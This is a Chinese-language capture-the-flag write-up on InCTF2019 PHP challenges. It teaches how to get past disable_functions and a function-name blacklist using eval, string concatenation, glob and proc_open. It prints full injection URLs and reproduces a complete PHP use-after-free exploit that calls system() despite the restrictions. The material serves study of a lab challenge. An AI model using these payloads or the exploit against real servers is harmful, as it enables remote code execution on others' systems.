热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

从InCTF2019的一道题学习disable_function_bypass

 前言前段时间做了一道InCTF2019的几道Web题,觉得里面涉及的PHP disable function bypass和字符串拼接特性挺有意思的,所以自己搭建了环境复现了下,并且在这里记录一下。

 

前言

前段时间做了一道InCTF2019的几道Web题,觉得里面涉及的PHP disable function bypass和字符串拼接特性挺有意思的,所以自己搭建了环境复现了下,并且在这里记录一下。

 

PHP+1

打开题目直接得到源码:

// PHP+1
$input = $_GET['input'];
function check(){
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "
";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
unset($blacklist);
return false;
}
$thisfille=$_GET['thisfile'];
if(is_file($thisfille)){
echo "You can't use inner file" . "
";
}
else{
if(file_exists($thisfille)){
if(check()){
echo "Naaah" . "
";
}else{
eval($input);
}
}else{
echo "File doesn't exist" . "
";
}
}
function iterate($ass){
foreach($ass as $hole){
echo "AssHole";
}
}
highlight_file(__FILE__);
?>

ps: 修正符m表示 将字符串视为多行,不管是那行都能匹配;

先分析下代码主要的执行流程:

(1)接受两个get请求参数,一个input,另一个thisfile,分别赋值给$input$thisfille(注意拼写,两个l);
(2)第一层:传入的$thisfille需要同时满足is_file($thisfille)falsefile_exists($thisfile)true
(3)第二层:如果file_exists($thisfile)true,则进行check()函数检查;
(4)check()函数中过滤了很多函数。


第一层 is_file和file_exists绕过

is_file函数用来判断文件是否存在并且检查指定的文件名是否是正常的文件;

file_exists函数判断文件是否存在或者是目录是否存在;

is_dir函数判断目录是否存在。

也就是说,所以可以用一个目录路径来绕过is_file的检查,对任意目录,is_file会返回false,而file_exists会返回true。


第二层 check函数绕过

check函数中能看到一个看起来比较有趣的函数get_defined_functions,搜一下它的用法

function foo(){
echo "This is my function foo.";
}
$arr = get_defined_functions();
var_dump($arr);
?>

输出的结果包含所有的php自带的built-in函数和用户自定义函数:

array (size=2)
'internal' =>
array (size=1460)
0 => string 'zend_version' (length=12)
1 => string 'func_num_args' (length=13)
2 => string 'func_get_arg' (length=12)
3 => string 'func_get_args' (length=13)
4 => string 'strlen' (length=6)
5 => string 'strcmp' (length=6)
...... more elements
1456 => string 'xdebug_code_coverage_started' (length=28)
1457 => string 'xdebug_get_function_count' (length=25)
1458 => string 'xdebug_dump_superglobals' (length=25)
1459 => string 'xdebug_get_headers' (length=18)
'user' =>
array (size=1)
0 => string 'foo' (length=3)

返回结果包括两个数组,内置(internal)和用户自定义的函数。可以通过$arr['internal']来访问系统内置的函数,通过$arr['user']来访问用户自定义的函数。

在这里eval函数并不属于php的内置函数,所以可以绕过上面代码中第7至11行的检查。

在第14行过滤的evaldieexit都不属于函数,它们都属于语言构造器( language construct )

这里稍微介绍一下language construct。从本质上讲,function是一段代码,它的编写方式可以在脚本执行过程中多次使用和重复使用。它可能被设计成接受参数和返回值,也可能两者都不接受,函数可以由用户定义。language construct本身是PHP语言的一部分,也就是说,它们不能由用户定义,也不能通过扩展加入到PHP语言中,PHP解析器不能进一步分解它们,而函数在被解析之前必须进一步分解,会被分解为language construct。

language construct通常会比对应的function更快。而且我们可以通过设置在PHP配置文件,如php.ini中通过disable_functions禁用一些函数,但是无法禁用language construct。而且language construct不能作为回调函数被调用。

这是来自 https://www.php.net/manual/zh/function.eval.php 对eval的解释:

dieexit一样,都是一个语言构造器,所以它们并不在函数get_defined_functions中返回的数组中。

而且在PHP中,_()也是一个函数,_()gettext函数的别名。

所以_也会被$blacklist过滤掉。

回到正题,虽然$blacklist过滤掉了很多php内置函数,但是eval函数依然是可以使用的,所以可以通过eval来执行命令:

?input=eval("highlight".$thisfille[8]."fil"."e('/etc/passwd');");&thisfile=/lib/x86_64-linux-gnu

所以可以用eval("sy"."stem('ls')")来查看当前目录下的文件,但是并没有执行成功,因为system函数被禁用了。看一下有多少函数是disable_functions

?input=eval("php"."info();");&thisfile=/var

看一下disable_functions这一栏,有很多函数不能用:

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,system,shell_exec,popen,passthru,link,symlink,syslog,imap_open,ld,error_log,mail,file_put_contents,scandir,file_get_contents,readfile,fread,fopen,chdir

因为不知道flag到底在哪里,文件名是什么,所以肯定想看一下目录,一般flag文件会放在当前目录,根目录下或者是上一级目录里。常用的列目录的命令有:

system('ls');
scandir('/');

但是目前这些方法都被禁止了。所以我们要找到其他的相同功能的函数,一般这种题目考察的就是这些相对冷门的函数。

glob函数没有在上面的disable_functions之中,这个函数和scandir一样,可以用来查找文件,举个例子:

// 取得所有后缀为.txt的文件
$files = glob('*.txt');
print_r($files);
?>

上面会输出当前目录下的所有以.txt为后缀的文件:

Array (
[0] => Readme.txt
[1] => source.txt
[2] => test.txt
)

所以用print_r(glob("*"))就可以列出当前目录下的所有文件:

?input=eval('print'.$thisfille[8].'r(glo'.'b("*"));');&thisfile=/lib/x86_64-linux-gnu

得到的结果是:

Array (
[0] => 1.html
[1] => 5.html
[2] => index.html
[3] => index.php
[4] => save2json.html
[5] => version_2.html
)

再看看根目录:

Array (
[0] => /bin
[1] => /boot
[2] => /daily_lock
[3] => /dev
[4] => /etc
[5] => /flag
[6] => /home
[7] => /initrd.img
[8] => /initrd.img.old
[9] => /lib
[10] => /lib64
[11] => /lost+found
[12] => /media
[13] => /mnt
[14] => /opt
[15] => /proc
[16] => /readFlag
[17] => /root
[18] => /run
[19] => /sbin
[20] => /srv
[21] => /sys
[22] => /tmp
[23] => /usr
[24] => /var
[25] => /vmlinuz
[26] => /vmlinuz.old
)

flag应该就在/flag文件或是/readFlag文件中。所以接下来就要读这两个文件。

一般读取文件有两种方式。一种是通过系统命令执行linux的读文件命令,另一种是直接调用php的文件读取函数。常见的文件读取函数有:

file_get_contents
readfile
fread
fopen
highlight_file
show_source

前面的四个都被禁掉了,但是最后的highlight_fileshow_source都没有被禁掉,所以还可以用这两个函数来读取文件内容

// show_source("/flag");
?input=eval('show'.$thisfille[8].'source("/flag");');&thisfile=/lib/x86_64-linux-gnu
// highlight_file("/readFlag");
?input=eval('highlight'.$thisfille[8].'fil'.'e("/readFlag");');&thisfile=/lib/x86_64-linux-gnu

发现什么输出都没有,猜测可能是普通用户根本就没有read的权限。如果不能读的话,猜测这可能是一个可执行文件,所以需要命令执行函数来执行该文件,该文件会输出flag内容。但是这里有两个flag,显然其中一个是用来迷惑我们的,但是目前还没有办法判断哪个是真的flag。

php中比较常见的命令执行函数有:

exec — 执行一个外部程序
passthru — 执行外部程序并且显示原始输出
proc_open — 执行一个命令,并且打开用来输入/输出的文件指针
pcntl_exec - 在当前进程空间执行指定程序
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
system — 执行外部程序,并且显示输出
popen - 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生
ob_start - 打开输出控制缓冲
mail - 发送邮件

这些函数的具体用法可以参考chybeta师傅的文章:

php代码/命令执行漏洞 )

这些函数中,有两个没有被ban,ob_startproc_open

proc_open函数的具体用法可以参考: https://www.w3cschool.cn/doc_php/php-function-proc-open.html

语法:resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )

proc_open会执行一个命令,并且会打开用来输入/输出的文件指针,输出在$pipes[1]中。

可以看一个最简单的例子,在读取$pipes[1]的时候还可以用fgets

$proc = proc_open("echo foo",
array(
array("pipe","r"),
array("pipe","w"),
array("pipe","w")
),
$pipes);
print stream_get_contents( $pipes[1] );
// 输出为 foo
?>

这里要注意的是第2行的$proc必须存在,下面的这个例子运行就会报错:

proc_open("echo foo",
array(
array("pipe","r"),
array("pipe","w"),
array("pipe","w")
),
$pipes);
print fgets( $pipes[1] );
// Warning: stream_get_contents(): 3 is not a valid stream resource in t.php on line 9
?>

在官方文档给的例子下,有人给出的解释是:

It seems you actually have to store the return value in order for your streams to exist. You can’t throw it away.

也就是说为了让流存在,必须要存储返回值,不能把这个返回值丢掉。

所以直接将这个返回值赋给一个变量就可以了,这里的payload是赋给了$ret变量,然后用fgets输出内容:

?input=$desc=array(array('p'.'ipe','r'),array('p'.'ipe','w'),array('p'.'ipe','w'));$pxpes=array();eval('$ret=proc'.$thisfille[8].'open("/readFlag",$desc,$pxpes);');eval('print(fge'.'ts($pxpes[1]));');&thisfile=/lib/x86_64-linux-gnu

成功获得flag:

但是读取/flag却是没有回显的,猜测还是和权限有关,可以这样验证一下:

?input=$desc=array(array('p'.'ipe','r'),array('p'.'ipe','w'),array('p'.'ipe','w'));$pxpes=array();eval('$ret=proc'.$thisfille[8].'open("ls%20-al%20/readFlag",$desc,$pxpes);');eval('print(fge'.'ts($pxpes[1]));');&thisfile=/lib/x86_64-linux-gnu

得到的结果是:

-r-s--x--x 1 root root 8608 May 6 07:52 /readFlag

ls -al /flag可以发现,只有root用户才可以执行该文件,所以才会什么都没有返回:

-r-------- 1 root root 8608 May 6 08:43 /flag

 

PHP+1.5

然后看一下PHP+1的升级版,PHP+1.5

// php+1.5
$input = $_GET['input'];
function check()
{
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "
";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
if (preg_match("/$blacklist/i", $input)) {
echo "Do you really you need that?" . "
";
return true;
}
unset($blacklist);
return false;
}
$thisfille = $_GET['thisfile'];
if (is_file($thisfille)) {
echo "You can't use inner file" . "
";
} else {
if (file_exists($thisfille)) {
if (check()) {
echo "Naaah" . "
";
} else {
eval($input);
}
} else {
echo "File doesn't exist" . "
";
}
}
function iterate($ass)
{
foreach ($ass as $hole) {
echo "AssHole";
}
}
highlight_file(__FILE__);
?>

和前面一道的差别就是多了对$input$blacklist检查,也就是说禁掉了eval函数:

所以上面这道题使用eval的解法已经不再适用了,但是php支持另一种看起来比较奇怪的字符串拼接方式:

$a = p.h.p.i.n.f.o;
print $a();
?>

可以看到,虽然有报错,但是还是执行了phpinfo()命令。

我们尝试一下读取phpinfo:

?input=$a=p.h.p.i.n.f.o;$a();&thisfile=/var

payload1:

?input=
$x=ch.r;
$y=$x(95);
$z=$x(47);
$a=p.r.o.c.$y.o.p.e.n;
$b=$z.readFlag;
$c=p.i.p.es;
$d=p.i.p.e;
$e=r;
$f=w;
$i=ne.xt;
$h=str.eam.$y.ge.t.$y.con.tents;
$k=$a($b,array(array($d,$e),array($d,$f),array($d,$f)),$$c);
print($h($i($$c)));
&thisfile=/var

稍微解释一下这个payload。$x是chr函数,$y是字符_,$z是字符/,用来拼接/readFlag用。

$k=$a($b,array(array($d,$e),array($d,$f),array($d,$f)),$$c);
// equivalent to
$k=proc_open('/readFlag',array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);

这里需要特别注意的是传入的是$$c,因为需要将$pipes变成一个变量,$c表示的仅仅是pipes,而不是$pipes。同样的,后面是

print($h($i($$c)));
// equivalent to
print($stream_get_contents(next($pipes)));

另一个payload2,只是在提取$pipes[1]的时候有点区别:

?input=
$x=ch.r;
$y=$x(95);
$z=$x(47);
$a=p.r.o.c.$y.o.p.e.n;
$b=$z.readFlag;
$c=p.i.p.es;
$d=p.i.p.e;
$e=r;
$f=w;
$i=(arra).(y).$y.sh.ift;
$j=(arr).(ay).$y.sl.ice;
$h=str.eam.$y.ge.t.$y.con.tents;
$k=$a($b,array(array($d,$e),array($d,$f),array($d,$f)),$$c);
print($h($i($j($$c,1,2))));
&thisfile=/var

 

PHP+2.5

//php2.5
$input = $_GET['input'];
function check(){
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "
";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
if(preg_match("/$blacklist/i", $input)){
echo "Do you really you need that?" . "
";
return true;
}
unset($blacklist);
if(strlen($input)>100){ #That is random no. I took ;)
echo "This is getting really large input..." . "
";
return true;
}
return false;
}
$thisfille=$_GET['thisfile'];
if(is_file($thisfille)){
echo "You can't use inner file" . "
";
}
else{
if(file_exists($thisfille)){
if(check()){
echo "Naaah" . "
";
}else{
eval($input);
}
}else{
echo "File doesn't exist" . "
";
}
}
function iterate($ass){
foreach($ass as $hole){
echo "AssHole";
}
}
highlight_file(__FILE__);
?>

在这道题的环境中,proc_open函数是没有被禁用的,它的预期解法呢是找到一个segmentation fault,然后使用文件上传和条件竞争来获取shell。

可以采用现成的exp:

$cmd = "id";
$n_alloc = 10; # increase this value if you get segfaults
class MySplFixedArray extends SplFixedArray {
public static $leak;
}
class Z implements JsonSerializable {
public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i <$n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
public function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
public function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i <$m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
# unable to leak ro segments
public function leak1($addr) {
global $spl1;
$this->write($this->abc, 8, $addr - 0x10);
return strlen(get_class($spl1));
}
# the real deal
public function leak2($addr, $p = 0, $s = 8) {
global $spl1, $fake_tbl_off;
# fake reference zval
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)
$leak = strlen($spl1::$leak);
if($s != 8) { $leak %= 2 <<($s * 8) - 1; }
return $leak;
}
public function parse_elf($base) {
$e_type = $this->leak2($base, 0x10, 2);
$e_phoff = $this->leak2($base, 0x20);
$e_phentsize = $this->leak2($base, 0x36, 2);
$e_phnum = $this->leak2($base, 0x38, 2);
for($i = 0; $i <$e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = $this->leak2($header, 0, 4);
$p_flags = $this->leak2($header, 4, 4);
$p_vaddr = $this->leak2($header, 0x10);
$p_memsz = $this->leak2($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
public function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i <$data_size / 8; $i++) {
$leak = $this->leak2($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base <$data_addr - $base) {
$deref = $this->leak2($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = $this->leak2($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base <$data_addr - $base) {
$deref = $this->leak2($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
public function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i <0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = $this->leak2($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
public function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->leak2($addr);
$f_name = $this->leak2($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return $this->leak2($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
public function jsonSerialize() {
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
$cOntiguous= [];
for($i = 0; $i <$n_alloc; $i++)
$contiguous[] = new DateInterval('PT1S');
$room = [];
for($i = 0; $i <$n_alloc; $i++)
$room[] = new Z();
$_protector = $this->ptr2str(0, 78);
$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');
unset($y[0]);
unset($p);
$protector = ".$_protector";
$x = new DateInterval('PT1S');
$x->d = 0x2000;
$x->h = 0xdeadbeef;
# $this->abc is now of size 0x2000
if($this->str2ptr($this->abc) != 0xdeadbeef) {
die('UAF failed.');
}
$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();
# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;
# create a fake class_entry
$fake_obj = $abc_addr;
$this->write($this->abc, 0, 2); # type
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry
# copy some of class_entry definition
for($i = 0; $i <16; $i++) {
$this->write($this->abc, 0x10 + $i * 8,
$this->leak1($class_entry + 0x10 + $i * 8));
}
# fake static members table
$fake_tbl_off = 0x70 * 4 - 16;
$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);
# fake zval_reference
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)
# look for binary base
$binary_leak = $this->leak2($handlers + 0x10);
if(!($base = $this->get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
# parse elf header
if(!($elf = $this->parse_elf($base))) {
die("Couldn't parse ELF");
}
# get basic_functions address
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
# find system entry
if(!($zif_system = $this->get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# copy hashtable offsetGet bucket
$fake_bkt_off = 0x70 * 5 - 16;
$function_data = $this->str2ptr($this->abc, 0x50);
for($i = 0; $i <4; $i++) {
$this->write($this->abc, $fake_bkt_off + $i * 8,
$this->leak2($function_data + 0x40 * 4, $i * 8));
}
# create a fake bucket
$fake_bkt_addr = $abc_addr + $fake_bkt_off;
$this->write($this->abc, 0x50, $fake_bkt_addr);
for($i = 0; $i <3; $i++) {
$this->write($this->abc, 0x58 + $i * 4, 1, 4);
}
# copy bucket zval
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
for($i = 0; $i <12; $i++) {
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
$this->leak2($function_zval, $i * 8));
}
# pwn
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);
$spl1->offsetGet($cmd);
exit();
}
}
$y = [new Z()];
json_encode([&$y]);


PHP2.0

这道题的源码同PHP2.5,但是php环境为7.1,而且proc_open函数被禁用了。

这道题的解法可以参考OpenToAll的exp:https://ctftime.org/writeup/16665 。这个解法其实是利用了php的一个use after free 1day,具体可以看这里:https://bugs.php.net/bug.php?id=77843 。

并且这个解法只对Ubuntu16.04+PHP7.1的环境生效。

 

小结:

总结上面的内容,我们可以学习到:

1 . proc_open代码执行
2 . php字符串拼接
3 . eval特性
4 . _()函数


推荐阅读
  • PHP图片截取方法及应用实例
    本文介绍了使用PHP动态切割JPEG图片的方法,并提供了应用实例,包括截取视频图、提取文章内容中的图片地址、裁切图片等问题。详细介绍了相关的PHP函数和参数的使用,以及图片切割的具体步骤。同时,还提供了一些注意事项和优化建议。通过本文的学习,读者可以掌握PHP图片截取的技巧,实现自己的需求。 ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • Imtryingtofigureoutawaytogeneratetorrentfilesfromabucket,usingtheAWSSDKforGo.我正 ... [详细]
  • PDO MySQL
    PDOMySQL如果文章有成千上万篇,该怎样保存?数据保存有多种方式,比如单机文件、单机数据库(SQLite)、网络数据库(MySQL、MariaDB)等等。根据项目来选择,做We ... [详细]
  • Java学习笔记之使用反射+泛型构建通用DAO
    本文介绍了使用反射和泛型构建通用DAO的方法,通过减少代码冗余度来提高开发效率。通过示例说明了如何使用反射和泛型来实现对不同表的相同操作,从而避免重复编写相似的代码。该方法可以在Java学习中起到较大的帮助作用。 ... [详细]
  • 使用圣杯布局模式实现网站首页的内容布局
    本文介绍了使用圣杯布局模式实现网站首页的内容布局的方法,包括HTML部分代码和实例。同时还提供了公司新闻、最新产品、关于我们、联系我们等页面的布局示例。商品展示区包括了车里子和农家生态土鸡蛋等产品的价格信息。 ... [详细]
  • 本文整理了315道Python基础题目及答案,帮助读者检验学习成果。文章介绍了学习Python的途径、Python与其他编程语言的对比、解释型和编译型编程语言的简述、Python解释器的种类和特点、位和字节的关系、以及至少5个PEP8规范。对于想要检验自己学习成果的读者,这些题目将是一个不错的选择。请注意,答案在视频中,本文不提供答案。 ... [详细]
  • LVS实现负载均衡的原理LVS负载均衡负载均衡集群是LoadBalance集群。是一种将网络上的访问流量分布于各个节点,以降低服务器压力,更好的向客户端 ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • springmvc学习笔记(十):控制器业务方法中通过注解实现封装Javabean接收表单提交的数据
    本文介绍了在springmvc学习笔记系列的第十篇中,控制器的业务方法中如何通过注解实现封装Javabean来接收表单提交的数据。同时还讨论了当有多个注册表单且字段完全相同时,如何将其交给同一个控制器处理。 ... [详细]
  • 猜字母游戏
    猜字母游戏猜字母游戏——设计数据结构猜字母游戏——设计程序结构猜字母游戏——实现字母生成方法猜字母游戏——实现字母检测方法猜字母游戏——实现主方法1猜字母游戏——设计数据结构1.1 ... [详细]
  • 本文介绍了一个题目的解法,通过二分答案来解决问题,但困难在于如何进行检查。文章提供了一种逃逸方式,通过移动最慢的宿管来锁门时跑到更居中的位置,从而使所有合格的寝室都居中。文章还提到可以分开判断两边的情况,并使用前缀和的方式来求出在任意时刻能够到达宿管即将锁门的寝室的人数。最后,文章提到可以改成O(n)的直接枚举来解决问题。 ... [详细]
  • 本文介绍了一道网络流题目hdu4888 Redraw Beautiful Drawings的解题思路。题目要求以行和列作为结点建图,并通过最大流算法判断是否有解以及是否唯一。文章详细介绍了建图和算法的过程,并强调在dfs过程中要进行回溯。 ... [详细]
  • Python爬虫中使用正则表达式的方法和注意事项
    本文介绍了在Python爬虫中使用正则表达式的方法和注意事项。首先解释了爬虫的四个主要步骤,并强调了正则表达式在数据处理中的重要性。然后详细介绍了正则表达式的概念和用法,包括检索、替换和过滤文本的功能。同时提到了re模块是Python内置的用于处理正则表达式的模块,并给出了使用正则表达式时需要注意的特殊字符转义和原始字符串的用法。通过本文的学习,读者可以掌握在Python爬虫中使用正则表达式的技巧和方法。 ... [详细]
  • php缓存ri,浅析ThinkPHP缓存之快速缓存(F方法)和动态缓存(S方法)(日常整理)
    thinkPHP的F方法只能用于缓存简单数据类型,不支持有效期和缓存对象。S()缓存方法支持有效期,又称动态缓存方法。本文是小编日常整理有关thinkp ... [详细]
author-avatar
龙门居士1966
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有